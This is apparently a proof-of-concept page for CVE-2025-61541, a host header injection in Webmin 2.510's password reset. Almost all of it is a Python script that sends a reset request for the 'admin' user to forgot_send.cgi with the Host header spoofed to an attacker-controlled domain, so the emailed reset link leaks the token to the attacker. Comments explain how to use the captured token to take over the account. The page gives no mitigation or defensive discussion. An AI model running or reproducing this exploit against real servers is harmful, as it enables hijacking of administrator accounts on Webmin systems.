CVE-2025-61541：Webmin 2.510 密码重置功能主机头注入漏洞

# CVE-2025-61541 - Webmin Host Header Injection PoC # This PoC demonstrates how to exploit the Host Header Injection # vulnerability in Webmin 2.510's password reset functionality (forgot_send.cgi) import requests # Target Webmin server URL target_url = "https://target-webmin-server:10000" # Attacker's controlled domain to receive the reset token attacker_domain = "attacker-controlled-domain.com" # Step 1: Send password reset request with manipulated Host header headers = { "Host": attacker_domain, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1" } # Target victim's email address victim_email = "[email protected]" # Password reset endpoint reset_endpoint = "/forgot_send.cgi" # Request payload data = { "email": victim_email, "user": "admin" # target username } print(f"[*] Sending password reset request with manipulated Host header...") print(f"[*] Target: {target_url}{reset_endpoint}") print(f"[*] Spoofed Host: {attacker_domain}") print(f"[*] Victim email: {victim_email}") # Send the request with spoofed Host header response = requests.post( f"{target_url}{reset_endpoint}", headers=headers, data=data, verify=False ) print(f"[*] Response status code: {response.status_code}") if response.status_code == 200: print("[+] Password reset email sent successfully!") print("[+] The reset link in the email will point to the attacker's domain") print("[+] Waiting for victim to click the poisoned link...") print("[+] Once clicked, capture the reset token from the attacker's server logs") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text[:200]}") # Step 2: After capturing the reset token, use it to reset the password # The reset token would be captured on the attacker's server # Example: reset_token = "abc123def456" # captured from attacker server logs # reset_url = f"{target_url}/password_reset.cgi?token={reset_token}" # Then submit new password to complete the account takeover